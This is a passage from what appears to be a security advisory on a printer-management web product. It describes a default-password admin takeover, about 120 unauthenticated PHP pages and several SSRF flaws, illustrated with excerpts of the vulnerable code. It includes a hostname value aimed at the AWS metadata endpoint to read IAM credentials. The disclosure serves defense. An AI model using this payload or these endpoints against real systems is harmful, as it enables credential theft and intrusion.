 63     respond_failure("You must enter a valid email address");
 64     die();
 65 }
 66 
 67 $result = check_admin_password_requirements($root_password);
 68 if ($result !== true) {
 69     respond_failure($result);
 70     die();
 71 }
 72 
 73 // Defined here so it isn't defined if not used
<font color=red> 74 $sha512Password = hash('sha512', "password");
 75 $sha1Password = hash('sha1', "password");</font>
 76 
 77 //for google:  username=email.   email=email.  password=oid
 78 if ($root_user != "" && $root_password != "") {
 79     require_once(ABSPATH."lib/dao/user_dao.php");
 80 
 81     $user_dao = new user_dao();
 82     $user_vo = new user_vo();
<font color=red> 83     $user_vo->id = 1;  //this isn't really solid...but I guess...</font>
 84     $user_dao->load($user_vo);
 85 
 86     // Check to make sure the root user has the initial email/password, so that this cant be used to change any users email/password
<font color=red> 87     if ($user_vo->str_email_address == "admin" &&
 88         ($user_vo->str_my_password == $sha512Password ||
 89         $user_vo->str_my_password == $sha1Password)) {</font>
 90 
 91         $user_vo->str_username = $root_user;
 92         $user_vo->str_email_address = $root_recovery_email;
 93         if (GLOBALS::$googleapp) {
 94             $user_vo->str_my_password = $root_password;
 95             $user_vo->str_first_name = $root_first;
 96             $user_vo->str_last_name = $root_last;
 97         } else {
 98             $user_vo->str_my_password = hash('sha512', $root_password);
 99         }
100 
101         $user_dao->allow_write();
102         if (!$user_dao->save($user_vo)) {
103             respond_failure("Unable to update user information");
104             die();
105         }
106
107         try {
108             GLOBALS::$login->adminVerifyLogin($root_user, $root_password);
109         } catch (Exception $e) {
110             respond_failure($e->getMessage());
111             die();
112         }
</pre>

<p>This file appears to be used during the installation of the appliance. Using default password does not respect the California SB-327 regulation.</p>
<p>During the installation process, an attacker can reach the web interface used, specify any new credential and get admin privileges.</p>
<p><a id="va-lack-of-auth-manage-printers"></a></p>
<h2>Details - No authentication required to configure/delete printers/rfid devices</h2>
<p>It was observed that the <code>console_release</code> directory contains ~ 120 PHP webpages that are reachable without authentication. These webpages allow an attacker to reconfigure printers and devices without authentication.</p>
<p>These vulnerable webpages are:</p>
<ul>
<li>/common/cpa_helper_functions.php</li>
<li>/common/global.php</li>
<li>/common/new_user_process.php</li>
<li>/common/rfid_check.php</li>
<li>/common/validate_user.php</li>
<li>/common/validate_user_class.php</li>
<li>/common/write_file.php</li>
<li>/fast_release/badge_info.php</li>
<li>/fast_release/badge_init.php</li>
<li>/fast_release/badge_register_process.php</li>
<li>/fast_release/global.php</li>
<li>/fast_release/register_badge_new.php</li>
<li>/global.php</li>
<li>/hp/AccessoriesCallbackHandler_0.php</li>
<li>/hp/auth_soap_server_0.php</li>
<li>/hp/autho_soap_server_0.php</li>
<li>/hp/badgeDelete.php</li>
<li>/hp/badgeSetup.php</li>
<li>/hp/badge_types.php</li>
<li>/hp/console.php</li>
<li>/hp/global.php</li>
<li>/hp/hp_soap_helper.php</li>
<li>/hp/index.php</li>
<li>/hp/installApp.php</li>
<li>/hp/install_popup.php</li>
<li>/hp/install_popup_load.php</li>
<li>/hp/install_popup_load2.php</li>
<li>/hp/install_popup_page_1.php</li>
<li>/hp/log_off_single_sign_on.php</li>
<li>/hp/new_user_process.php</li>
<li>/hp/popup_wide_spinner.php</li>
<li>/hp/registerNewUser.php</li>
<li>/hp/removeApp.php</li>
<li>/hp/remove_app_quick.php</li>
<li>/hp/rfid_check.php</li>
<li>/hp/setupBadgeReaderFailed1.php</li>
<li>/hp/setupBadgeReaderFailed2.php</li>
<li>/hp/setupBadgeReaderStep1.php</li>
<li>/hp/setupBadgeReaderStep2.php</li>
<li>/hp/shutdownBadgeReader.php</li>
<li>/hp/single_sign_on_login.php</li>
<li>/hp/single_sign_on_process.php</li>
<li>/hp/single_sign_on_quick_check.php</li>
<li>/hp/writeFile.php</li>
<li>/km/OpenApi.php</li>
<li>/km/badge_message.php</li>
<li>/km/badge_utils.php</li>
<li>/km/console.php</li>
<li>/km/filecache.php</li>
<li>/km/global.php</li>
<li>/km/index.php</li>
<li>/km/install_app.php</li>
<li>/km/konicaminolta_soap_helper.php</li>
<li>/km/login.php</li>
<li>/km/prep_solution.php</li>
<li>/km/remove_app.php</li>
<li>/lexmark/dellCheck.php</li>
<li>/lexmark/global.php</li>
<li>/lexmark/installApp.php</li>
<li>/lexmark/installCheck.php</li>
<li>/lexmark/installSettings.php</li>
<li>/lexmark/removeApp.php</li>
<li>/lexmark/update.php</li>
<li>/ricoh/global.php</li>
<li>/ricoh/install_app.php</li>
<li>/ricoh/processing_check.php</li>
<li>/ricoh/remove_app.php</li>
<li>/ricoh/ricoh_result.php</li>
<li>/ricoh/ricoh_state.php</li>
<li>/samsung/card_reader.php</li>
<li>/samsung/console.php</li>
<li>/samsung/download_ipar.php</li>
<li>/samsung/get_device_info.php</li>
<li>/samsung/global.php</li>
<li>/samsung/index.php</li>
<li>/samsung/install_app.php</li>
<li>/samsung/list_apps.php</li>
<li>/samsung/oauth_example.php</li>
<li>/samsung/registerNewUser.php</li>
<li>/samsung/remove_app.php</li>
<li>/samsung/samsung_rest_helper.php</li>
<li>/samsung/soap_server_0.php</li>
<li>/toshiba/change_screens.php</li>
<li>/toshiba/console.php</li>
<li>/toshiba/error_check.php</li>
<li>/toshiba/get_log.php</li>
<li>/toshiba/global.php</li>
<li>/toshiba/index.php</li>
<li>/toshiba/install_app.php</li>
<li>/toshiba/install_popup.php</li>
<li>/toshiba/login.php</li>
<li>/toshiba/login_mds.php</li>
<li>/toshiba/logout_mds.php</li>
<li>/toshiba/logout_token.php</li>
<li>/toshiba/mds_helper.php</li>
<li>/toshiba/register.php</li>
<li>/toshiba/registerNewUser.php</li>
<li>/toshiba/remove_app.php</li>
<li>/toshiba/renew_user_event.php</li>
<li>/toshiba/soap_server.php</li>
<li>/toshiba/soap_server_0.php</li>
<li>/toshiba/toshiba_logged_in.php</li>
<li>/toshiba/toshiba_soap_helper.php</li>
<li>/xerox/SendCardDataDeviceClient.php</li>
<li>/xerox/auth_login.php</li>
<li>/xerox/checkPrinter.php</li>
<li>/xerox/console.php</li>
<li>/xerox/global.php</li>
<li>/xerox/index.php</li>
<li>/xerox/index2.php</li>
<li>/xerox/index_old.php</li>
<li>/xerox/installApp.php</li>
<li>/xerox/registerNewUser.php</li>
<li>/xerox/removeApp.php</li>
<li>/xerox/rfid_check.php</li>
<li>/xerox/setupBadgeReader.php</li>
<li>/xerox/test.php</li>
<li>/xerox/xerox_auth_soap_server_0.php</li>
<li>/xerox/xerox_session.php</li>
<li>/xerox/xerox_soap_helper.php</li>
</ul>
<p>An attacker can interact with printers without authentication.</p>
<p><a id="va-ssrf-03"></a></p>
<h2>Details - 11 SSRF vulnerabilities in the console_release directory</h2>
<p>It was observed that the <code>console_release</code> directory contains PHP webpages with insecure PHP code containing SSRF vulnerabilities. The <code>console_release directory</code> is directly reachable from the network/Internet without authentication.</p>
<p>From the analysis of the source codes, it appears that the <code>$url</code> variable (used to store the IP or hostname of a printer) is verified in some files to be sure that SSRF vulnerabilities cannot be exploited when an admin defines a malicious hostname for a printer. For example, the <code>filter_var()</code> function is used to confirm that a remote printer IP is either a domain name or an IP (nullifying any printer whose hostname contains malicious data allowing SSRF vulnerabilities):</p>
<p>Presence of the <code>filter_var</code> function with <code>FILTER_VALIDATE_DOMAIN,FILTER_FLAG_HOSTNAME</code>:</p>
<pre><code>kali% rgrep -n FILTER_VALIDATE_DOMAIN      
toshiba/toshiba_soap_helper.php:125:    $url = filter_var($url, FILTER_VALIDATE_DOMAIN,FILTER_FLAG_HOSTNAME);
lexmark/update.php:185:            $local_url = filter_var($this_vo-&gt;str_host_address, FILTER_VALIDATE_DOMAIN,FILTER_FLAG_HOSTNAME);
lexmark/update.php:290:        $local_url = filter_var($this_vo-&gt;str_host_address, FILTER_VALIDATE_DOMAIN,FILTER_FLAG_HOSTNAME);
lexmark/installSettings.php:108:        $local_url = filter_var($printer_vo-&gt;str_host_address, FILTER_VALIDATE_DOMAIN,FILTER_FLAG_HOSTNAME);
lexmark/installApp.php:40:$local_url = filter_var($printer_vo-&gt;str_host_address, FILTER_VALIDATE_DOMAIN,FILTER_FLAG_HOSTNAME);
km/konicaminolta_soap_helper.php:113:        $local_ip = filter_var($this-&gt;host_ip, FILTER_VALIDATE_DOMAIN,FILTER_FLAG_HOSTNAME);
km/konicaminolta_soap_helper.php:191:        $local_ip = filter_var($this-&gt;host_ip, FILTER_VALIDATE_DOMAIN,FILTER_FLAG_HOSTNAME);
km/konicaminolta_soap_helper.php:263:           $local_ip = filter_var($this-&gt;host_ip, FILTER_VALIDATE_DOMAIN,FILTER_FLAG_HOSTNAME);
xerox/installApp.php:68:    $local_url = filter_var($printer_vo-&gt;str_host_address, FILTER_VALIDATE_DOMAIN,FILTER_FLAG_HOSTNAME);
xerox/xerox_soap_helper.php:52:    $url = filter_var($url, FILTER_VALIDATE_DOMAIN,FILTER_FLAG_HOSTNAME);
xerox/xerox_soap_helper.php:148:    $url = filter_var($url, FILTER_VALIDATE_DOMAIN,FILTER_FLAG_HOSTNAME);
xerox/xerox_soap_helper.php:219:    $url = filter_var($url, FILTER_VALIDATE_DOMAIN,FILTER_FLAG_HOSTNAME);
xerox/xerox_soap_helper.php:317:    $url = filter_var($url, FILTER_VALIDATE_DOMAIN,FILTER_FLAG_HOSTNAME);
xerox/removeApp.php:51:        $local_url = filter_var($printer_vo-&gt;str_host_address, FILTER_VALIDATE_DOMAIN,FILTER_FLAG_HOSTNAME);
xerox/xerox_auth_soap_server_0.php:661:        $local_url = filter_var($printer_vo-&gt;str_host_address, FILTER_VALIDATE_DOMAIN,FILTER_FLAG_HOSTNAME);
samsung/list_apps.php:28:  $local_url = filter_var($printer_vo-&gt;str_host_address, FILTER_VALIDATE_DOMAIN,FILTER_FLAG_HOSTNAME);
samsung/list_apps.php:59:    $local_url = filter_var($printer_vo-&gt;str_host_address, FILTER_VALIDATE_DOMAIN,FILTER_FLAG_HOSTNAME);
samsung/remove_app.php:29:    $local_url = filter_var($printer_vo-&gt;str_host_address, FILTER_VALIDATE_DOMAIN,FILTER_FLAG_HOSTNAME);
samsung/remove_app.php:55:    $local_url = filter_var($printer_vo-&gt;str_host_address, FILTER_VALIDATE_DOMAIN,FILTER_FLAG_HOSTNAME);
samsung/remove_app.php:94:      $local_url = filter_var($printer_vo-&gt;str_host_address, FILTER_VALIDATE_DOMAIN,FILTER_FLAG_HOSTNAME);
samsung/samsung_rest_helper.php:21:  $url = filter_var($url, FILTER_VALIDATE_DOMAIN,FILTER_FLAG_HOSTNAME);
samsung/get_device_info.php:35:  $local_url = filter_var($printer_vo-&gt;str_host_address, FILTER_VALIDATE_DOMAIN,FILTER_FLAG_HOSTNAME);
</code></pre>
<p>Unfortunately, theses checks are extremely incomplete since:</p>
<ul>
<li>Curl is also insecurely used (without these checks) in some files; and</li>
<li>The function <code>file_get_contents()</code> is used to send HTTP/HTTPS requests to remote printer without any verification.</li>
</ul>
<p>We can find 419 calls to curl. If one of these calls is vulnerable to a SSRF vulnerability, then the SaaS solution can likely be compromised:</p>
<pre><code>kali$ rgrep -c curl .
419      
kali$ rgrep curl .
./toshiba/toshiba_soap_helper.php:    $ch = curl_init();
./toshiba/toshiba_soap_helper.php:    curl_setopt($ch, CURLOPT_HTTPHEADER, $headers);
./toshiba/toshiba_soap_helper.php:    curl_setopt($ch, CURLOPT_URL, $XRX_URL);
./toshiba/toshiba_soap_helper.php:    curl_setopt($ch, CURLOPT_POST, true);
./toshiba/toshiba_soap_helper.php:    curl_setopt($ch, CURLOPT_POSTFIELDS, $FULL_XRX);
./toshiba/toshiba_soap_helper.php:    curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
./toshiba/toshiba_soap_helper.php:    curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, false);
./toshiba/toshiba_soap_helper.php:    curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
./toshiba/toshiba_soap_helper.php:    curl_setopt($ch, CURLOPT_SSLVERSION, CURL_SSLVERSION_SSLv3);
./toshiba/toshiba_soap_helper.php:        $response = curl_exec($ch);
./toshiba/toshiba_soap_helper.php:        $error = curl_error($ch);
./toshiba/toshiba_soap_helper.php:        curl_close($ch);
./toshiba/toshiba_soap_helper.php:    $ch = curl_init();
./toshiba/toshiba_soap_helper.php:    curl_setopt($ch, CURLOPT_URL, $XRX_URL);
./toshiba/toshiba_soap_helper.php:    curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
./toshiba/toshiba_soap_helper.php:    curl_setopt($ch, CURLOPT_MAXREDIRS, 10);
./toshiba/toshiba_soap_helper.php:    curl_setopt($ch, CURLOPT_TIMEOUT, 10);
./toshiba/toshiba_soap_helper.php:    curl_setopt($ch, CURLOPT_CUSTOMREQUEST, "POST");
./toshiba/toshiba_soap_helper.php:    curl_setopt($ch, CURLOPT_POST, true);
./toshiba/toshiba_soap_helper.php:    curl_setopt($ch, CURLOPT_POSTFIELDS, $post_data);
./toshiba/toshiba_soap_helper.php:    curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, false);
./toshiba/toshiba_soap_helper.php:    curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
./toshiba/toshiba_soap_helper.php:    curl_setopt($ch, CURLOPT_HTTPHEADER, [
./toshiba/toshiba_soap_helper.php:        $response = curl_exec($ch);
./toshiba/toshiba_soap_helper.php:        $error = curl_error($ch);
./toshiba/toshiba_soap_helper.php:        curl_close($ch);
./lexmark/update.php:            $ch = curl_init();
./lexmark/update.php:            curl_setopt($ch, CURLOPT_URL, 'ftp://' . $local_url . '/printerlogic.fls');
./lexmark/update.php:            curl_setopt($ch, CURLOPT_USERPWD, $username . ":" . $password);
./lexmark/update.php:            curl_setopt($ch, CURLOPT_UPLOAD, true);
./lexmark/update.php:            curl_setopt($ch, CURLOPT_BINARYTRANSFER, true);
./lexmark/update.php:            curl_setopt($ch, CURLOPT_INFILE, $fp);
./lexmark/update.php:            curl_setopt($ch, CURLOPT_INFILESIZE, filesize(ABSPATH . 'console_release/lexmark/printerlogic.fls'));
./lexmark/update.php:            curl_exec($ch);
./lexmark/update.php:            $error_no = curl_error($ch);
./lexmark/update.php:            curl_close($ch);
./lexmark/update.php:        $ch = curl_init();
./lexmark/update.php:        curl_setopt($ch, CURLOPT_URL, 'ftp://' . $local_url . '/printerlogic.ucf');
./lexmark/update.php:        curl_setopt($ch, CURLOPT_UPLOAD, true);
./lexmark/update.php:        curl_setopt($ch, CURLOPT_INFILE, $temp_file);
./lexmark/update.php:        curl_setopt($ch, CURLOPT_INFILESIZE, mb_strlen($content, '8bit'));
./lexmark/update.php:        curl_exec($ch);
[...]
</code></pre>
<p>For example, we can find several SSRF vulnerabilities.</p>
<p>The following list is not exhaustive and the audited files were randomly chosen.</p>
<p><a id="va-ssrf-04"></a></p>
<h3>Details - 4 SSRF vulnerabilities in /var/www/app/console_release/lexmark/update.php</h3>
<p>The <code>$url</code> and <code>$new_url</code> variables are attacker-controlled and the output of the <code>file_get_contents()</code> function will be displayed to the attacker. An attacker can use:</p>
<ul>
<li>A malicious hostname for a printer (e.g. <code>169.254.169.254/latest/meta-data/iam/security-credentials/?</code>), to display the AWS security credentials;</li>
<li>A legit hostname, the remote webserver will provide a 301 redirect to <code>http://169.254.169.254/latest/meta-data/iam/security-credentials</code>, since the <code>file_get_contents()</code> function will follow any HTTP redirect:</li>
</ul>
<p>Content of <code>/var/www/app/console_release/lexmark/update.php</code>:</p>
<div class="colorful" style="background: #f8f8f8"><pre style="line-height: 125%"><span></span>  1 <span style="color: #BC7A00">&lt;?php</span>
[<span style="color: #666666">...</span>]
<span style="color: #666666">209</span>                 <span style="color: #19177C">$url</span> <span style="color: #666666">=</span> <span style="color: #BA2121">&quot;http://&quot;</span> <span style="color: #666666">.</span> <span style="color: #19177C">$this_vo</span><span style="color: #666666">-&gt;</span><span style="color: #7D9029">str_host_address</span> <span style="color: #666666">.</span> <span style="color: #BA2121">&quot;/cgi-bin/direct/printer/prtappse/semenu?page=bundles&quot;</span>;

<span style="color: #666666">215</span>                     <span style="color: #19177C">$new_url</span> <span style="color: #666666">=</span> <span style="color: #BA2121">&quot;http://&quot;</span> <span style="color: #666666">.</span> <span style="color: #19177C">$this_vo</span><span style="color: #666666">-&gt;</span><span style="color: #7D9029">str_host_address</span> <span style="color: #666666">.</span> <span style="color: #BA2121">&quot;/esf/prtappse/semenu?page=bundles&quot;</span>;

<span style="color: #666666">223</span>                         <span style="color: #19177C">$contents</span> <span style="color: #666666">=</span> <span style="color: #008000">file_get_contents</span>(<span style="color: #19177C">$new_url</span>);      <span style="color: #408080; font-style: italic">// [1] SSRF #1</span>

<span style="color: #666666">228</span>                             <span style="color: #19177C">$contents</span> <span style="color: #666666">=</span> <span style="color: #008000">file_get_contents</span>(<span style="color: #19177C">$new_url</span>);  <span style="color: #408080; font-style: italic">// [2] SSRF #2</span>


<span style="color: #666666">234</span>                     <span style="color: #19177C">$contents</span> <span style="color: #666666">=</span> <span style="color: #008000">file_get_contents</span>(<span style="color: #19177C">$url</span>);              <span style="color: #408080; font-style: italic">// [3] SSRF #3</span>

<span style="color: #666666">239</span>                         <span style="color: #19177C">$contents</span> <span style="color: #666666">=</span> <span style="color: #008000">file_get_contents</span>(<span style="color: #19177C">$url</span>);          <span style="color: #408080; font-style: italic">// [4] SSRF #4</span>

<span style="color: #666666">247</span>             <span style="color: #008000; font-weight: bold">return</span> <span style="color: #19177C">$contents</span>;                                         <span style="color: #408080; font-style: italic">// [5] display of the output of the SSRF</span>
</pre></div>

<p><a id="va-ssrf-05"></a></p>
<h3>Details - 1 blind SSRF vulnerability in /var/www/app/console_release/hp/installApp.php</h3>
<p>This file is reachable without authentication and contains a blind SSRF vulnerability. The <code>$printer_vo-&gt;str_host_address</code> is controlled by any admin:</p>
<p>Content of <code>/var/www/app/console_release/hp/installApp.php</code>:</p>
<div class="colorful" style="background: #f8f8f8"><pre style="line-height: 125%"><span></span>  1 <span style="color: #BC7A00">&lt;?php</span>
[<span style="color: #666666">...</span>]
 <span style="color: #666666">25</span> <span style="color: #008000; font-weight: bold">function</span> <span style="color: #0000FF">curl_get_contents</span>(<span style="color: #19177C">$url</span>)
 <span style="color: #666666">26</span> {
 <span style="color: #666666">27</span>     <span style="color: #19177C">$ch</span> <span style="color: #666666">=</span> <span style="color: #008000">curl_init</span>();
 <span style="color: #666666">28</span>
 <span style="color: #666666">29</span>     <span style="color: #008000">curl_setopt</span>(<span style="color: #19177C">$ch</span>, CURLOPT_HEADER, <span style="color: #666666">0</span>);
 <span style="color: #666666">30</span>     <span style="color: #008000">curl_setopt</span>(<span style="color: #19177C">$ch</span>, CURLOPT_RETURNTRANSFER, <span style="color: #666666">1</span>);
 <span style="color: #666666">31</span>     <span style="color: #008000">curl_setopt</span>(<span style="color: #19177C">$ch</span>, CURLOPT_URL, <span style="color: #19177C">$url</span>);
 <span style="color: #666666">32</span>
 <span style="color: #666666">33</span>     <span style="color: #19177C">$data</span> <span style="color: #666666">=</span> <span style="color: #008000">curl_exec</span>(<span style="color: #19177C">$ch</span>);
 <span style="color: #666666">34</span>     <span style="color: #008000">curl_close</span>(<span style="color: #19177C">$ch</span>);
 <span style="color: #666666">35</span>
 <span style="color: #666666">36</span>     <span style="color: #008000; font-weight: bold">return</span> <span style="color: #19177C">$data</span>;
 <span style="color: #666666">37</span> }
[<span style="color: #666666">...</span>]
 <span style="color: #666666">73</span>         <span style="color: #19177C">$filePath</span> <span style="color: #666666">=</span> <span style="color: #BA2121">&quot;http://&quot;</span> <span style="color: #666666">.</span> <span style="color: #19177C">$printer_vo</span><span style="color: #666666">-&gt;</span><span style="color: #7D9029">str_host_address</span> <span style="color: #666666">.</span> <span style="color: #BA2121">&quot;:80/DevMgmt/DiscoveryTree.xml&quot;</span>;
 <span style="color: #666666">74</span>         <span style="color: #408080; font-style: italic">// @file_get_contents was not working on the new HP but this works on all of them.</span>
 <span style="color: #666666">75</span>         <span style="color: #19177C">$file</span> <span style="color: #666666">=</span> curl_get_contents(<span style="color: #19177C">$filePath</span>); <span style="color: #408080; font-style: italic">// [1] SSRF #1</span>
</pre></div>

<p><a id="va-ssrf-06"></a></p>
<h3>Details - 2 blind SSRF vulnerabilities in /var/www/app/console_release/hp/log_off_single_sign_on.php</h3>
<p>2 SSRF vulnerabilities on lines 37 and 128 in <code>/var/www/app/console_release/hp/log_off_single_sign_on.php</code>:</p>
<div class="colorful" style="background: #f8f8f8"><pre style="line-height: 125%"><span></span>  1 <span style="color: #BC7A00">&lt;?php</span>
[<span style="color: #666666">...</span>]
 <span style="color: #666666">27</span>     <span style="color: #19177C">$IP_ADDR</span> <span style="color: #666666">=</span> <span style="color: #19177C">$printer_vo</span><span style="color: #666666">-&gt;</span><span style="color: #7D9029">str_host_address</span>;

 <span style="color: #666666">37</span>         <span style="color: #19177C">$file</span> <span style="color: #666666">=</span> <span style="color: #666666">@</span><span style="color: #008000">file_get_contents</span>(<span style="color: #19177C">$h_tag</span> <span style="color: #666666">.</span> <span style="color: #19177C">$IP_ADDR</span> <span style="color: #666666">.</span> <span style="color: #BA2121">&quot;:80/DevMgmt/DiscoveryTree.xml&quot;</span>);             <span style="color: #408080; font-style: italic">// [1] SSRF #1</span>

<span style="color: #666666">123</span>     <span style="color: #19177C">$sendUrl</span> <span style="color: #666666">=</span> <span style="color: #19177C">$XRX_URL</span> <span style="color: #666666">.</span> <span style="color: #19177C">$Authentication</span>[<span style="color: #BA2121">&#39;ResourceURI&#39;</span>];
<span style="color: #666666">128</span>     <span style="color: #19177C">$response_reserve</span> <span style="color: #666666">=</span> processCurl(<span style="color: #19177C">$XRX_SCHEMA</span>, <span style="color: #19177C">$XRX_TO</span>, <span style="color: #19177C">$XRX_BODY</span>, <span style="color: #19177C">$sendUrl</span>, <span style="color: #008000; font-weight: bold">false</span>, <span style="color: #BA2121">&quot;guest&quot;</span>, <span style="color: #BA2121">&quot;&quot;</span>);  <span style="color: #408080; font-style: italic">// [2] SSRF #2</span>
</pre></div>

<p>The function <code>file_get_contents()</code> will follow any HTTP redirect.</p>
<p><code>$sendURL</code> comes from <code>$XRX_URL</code> (line 123) that comes from <code>$IP_ADDR</code> (<code>console_release/hp/hp_soap_helper.php</code>) coming from the hostname of the printer, which is an attacker-controlled value. With the <code>processCurl()</code> function implemented in <code>/var/www/app/console_release/hp/hp_soap_helper.php</code>, without any check regarding the validity of the remote URL (defined in <code>$sendUrl</code>):</p>
<p>Content of <code>/var/www/app/console_release/hp/log_off_single_sign_on.php</code> with <code>processCurl()</code>:</p>
<div class="colorful" style="background: #f8f8f8"><pre style="line-height: 125%"><span></span>  1 <span style="color: #BC7A00">&lt;?php</span>
[<span style="color: #666666">...</span>]
 <span style="color: #666666">47</span>         <span style="color: #008000; font-weight: bold">function</span> <span style="color: #0000FF">processCurl</span>(<span style="color: #19177C">$XRX_SCHEMA</span>, <span style="color: #19177C">$XRX_TO</span>, <span style="color: #19177C">$this_XRX_BODY</span>, <span style="color: #19177C">$sendUrl</span>, <span style="color: #19177C">$showXML</span>, <span style="color: #19177C">$XRX_USERNAME</span>, <span style="color: #19177C">$XRX_PASSWORD</span>)
 <span style="color: #666666">48</span>         {
 <span style="color: #666666">49</span>                 <span style="color: #19177C">$XRX_SOAPSTART</span> <span style="color: #666666">=</span> <span style="color: #BA2121">&#39;&lt;s:Envelope</span>
<span style="color: #BA2121"> 50          xmlns:s=&quot;http://www.w3.org/2003/05/soap-envelope&quot;</span>
<span style="color: #BA2121"> 51                  xmlns:a=&quot;http://schemas.xmlsoap.org/ws/2004/08/addressing&quot;&gt;</span>
<span style="color: #BA2121"> 52          &lt;s:Header&gt;</span>
<span style="color: #BA2121"> 53                  &lt;a:Action s:mustUnderstand=&quot;1&quot;&gt;&#39;</span>;
 <span style="color: #666666">54</span>                 <span style="color: #19177C">$XRX_ADDRESS</span> <span style="color: #666666">=</span> <span style="color: #BA2121">&#39;http://schemas.xmlsoap.org/ws/2004/08/addressing/role/anonymous&#39;</span>;
 <span style="color: #666666">55</span>                 <span style="color: #19177C">$XRX_MESSAGE</span> <span style="color: #666666">=</span> <span style="color: #BA2121">&quot;&lt;a:MessageID&gt;urn:uuid:&quot;</span> <span style="color: #666666">.</span> <span style="color: #19177C">$this</span><span style="color: #666666">-&gt;</span><span style="color: #7D9029">getGUID</span>() <span style="color: #666666">.</span> <span style="color: #BA2121">&quot;&lt;/a:MessageID&gt;&quot;</span>;
 <span style="color: #666666">56</span>                 <span style="color: #19177C">$XRX_SOAPEND</span> <span style="color: #666666">=</span> <span style="color: #BA2121">&#39;&lt;/s:Envelope&gt;&#39;</span>;
 <span style="color: #666666">57</span>                 <span style="color: #19177C">$XRX_REPLY_TO</span> <span style="color: #666666">=</span> <span style="color: #BA2121">&quot;&lt;a:ReplyTo&gt;&lt;a:Address&gt;&quot;</span> <span style="color: #666666">.</span> <span style="color: #19177C">$XRX_ADDRESS</span> <span style="color: #666666">.</span> <span style="color: #BA2121">&quot;&lt;/a:Address&gt;&lt;/a:ReplyTo&gt;&quot;</span>;
 <span style="color: #666666">58</span>                 <span style="color: #19177C">$XRX_BODY</span> <span style="color: #666666">=</span> <span style="color: #19177C">$this_XRX_BODY</span> <span style="color: #666666">.</span> <span style="color: #BA2121">&#39;&lt;/s:Body&gt;&#39;</span>;
 <span style="color: #666666">59</span>                 <span style="color: #19177C">$sendReq</span> <span style="color: #666666">=</span> <span style="color: #19177C">$XRX_SOAPSTART</span> <span style="color: #666666">.</span> <span style="color: #19177C">$XRX_SCHEMA</span> <span style="color: #666666">.</span> <span style="color: #BA2121">&quot;&lt;/a:Action&gt;&quot;</span> <span style="color: #666666">.</span> <span style="color: #19177C">$XRX_MESSAGE</span> <span style="color: #666666">.</span> <span style="color: #19177C">$XRX_REPLY_TO</span> <span style="color: #666666">.</span> <span style="color: #19177C">$XRX_TO</span> <span style="color: #666666">.</span> <span style="color: #BA2121">&#39;&lt;/s:Header&gt;&#39;</span> <span style="color: #666666">.</span> <span style="color: #19177C">$XRX_BODY</span> <span style="color: #666666">.</span> <span style="color: #19177C">$XRX_SOAPEND</span>;
 <span style="color: #666666">60</span>
 <span style="color: #666666">61</span>                 <span style="color: #19177C">$headers</span> <span style="color: #666666">=</span> <span style="color: #008000; font-weight: bold">array</span>(
 <span style="color: #666666">62</span>                         <span style="color: #BA2121">&quot;Content-Type: application/soap_xml; charset=utf-8&quot;</span>,
 <span style="color: #666666">63</span>                         <span style="color: #BA2121">&quot;SOAPAction: </span><span style="color: #BB6622; font-weight: bold">\&quot;\&quot;</span><span style="color: #BA2121">&quot;</span>,
 <span style="color: #666666">64</span>                 );
 <span style="color: #666666">65</span>                 <span style="color: #19177C">$ch</span> <span style="color: #666666">=</span> <span style="color: #008000">curl_init</span>();
 <span style="color: #666666">66</span>                 <span style="color: #008000">curl_setopt</span>(<span style="color: #19177C">$ch</span>, CURLOPT_URL, <span style="color: #19177C">$sendUrl</span>);
 <span style="color: #666666">67</span>                 <span style="color: #008000">curl_setopt</span>(<span style="color: #19177C">$ch</span>, CURLOPT_USERPWD, <span style="color: #19177C">$XRX_USERNAME</span> <span style="color: #666666">.</span> <span style="color: #BA2121">&quot;:&quot;</span> <span style="color: #666666">.</span> <span style="color: #19177C">$XRX_PASSWORD</span>);
 <span style="color: #666666">68</span>                 <span style="color: #008000">curl_setopt</span>(<span style="color: #19177C">$ch</span>, CURLOPT_HTTPAUTH, CURLAUTH_BASIC);
 <span style="color: #666666">69</span>                 <span style="color: #008000">curl_setopt</span>(<span style="color: #19177C">$ch</span>, CURLOPT_POST, <span style="color: #008000; font-weight: bold">true</span>);
 <span style="color: #666666">70</span>                 <span style="color: #008000">curl_setopt</span>(<span style="color: #19177C">$ch</span>, CURLOPT_POSTFIELDS, <span style="color: #19177C">$sendReq</span>);
 <span style="color: #666666">71</span>                 <span style="color: #008000">curl_setopt</span>(<span style="color: #19177C">$ch</span>, CURLOPT_HTTPHEADER, <span style="color: #19177C">$headers</span>);
 <span style="color: #666666">72</span>                 <span style="color: #008000">curl_setopt</span>(<span style="color: #19177C">$ch</span>, CURLOPT_RETURNTRANSFER, <span style="color: #666666">1</span>);
 <span style="color: #666666">73</span>                 <span style="color: #008000">curl_setopt</span>(<span style="color: #19177C">$ch</span>, CURLOPT_SSL_VERIFYHOST, <span style="color: #008000; font-weight: bold">false</span>);
 <span style="color: #666666">74</span>                 <span style="color: #008000">curl_setopt</span>(<span style="color: #19177C">$ch</span>, CURLOPT_SSL_VERIFYPEER, <span style="color: #008000; font-weight: bold">false</span>);
 <span style="color: #666666">75</span>                 <span style="color: #008000">curl_setopt</span>(<span style="color: #19177C">$ch</span>, CURLOPT_TIMEOUT, <span style="color: #666666">30</span>);
 <span style="color: #666666">76</span>                 <span style="color: #19177C">$response</span> <span style="color: #666666">=</span> <span style="color: #BA2121">&quot;&quot;</span>;
 <span style="color: #666666">77</span>                 <span style="color: #008000; font-weight: bold">try</span> {
 <span style="color: #666666">78</span>                         <span style="color: #19177C">$response</span> <span style="color: #666666">=</span> <span style="color: #008000">curl_exec</span>(<span style="color: #19177C">$ch</span>);
 <span style="color: #666666">79</span>                         <span style="color: #19177C">$error</span> <span style="color: #666666">=</span> <span style="color: #008000">curl_error</span>(<span style="color: #19177C">$ch</span>);
 <span style="color: #666666">80</span>                         <span style="color: #008000; font-weight: bold">if</span> (<span style="color: #19177C">$error</span> <span style="color: #666666">!=</span> <span style="color: #BA2121">&quot;&quot;</span>) {
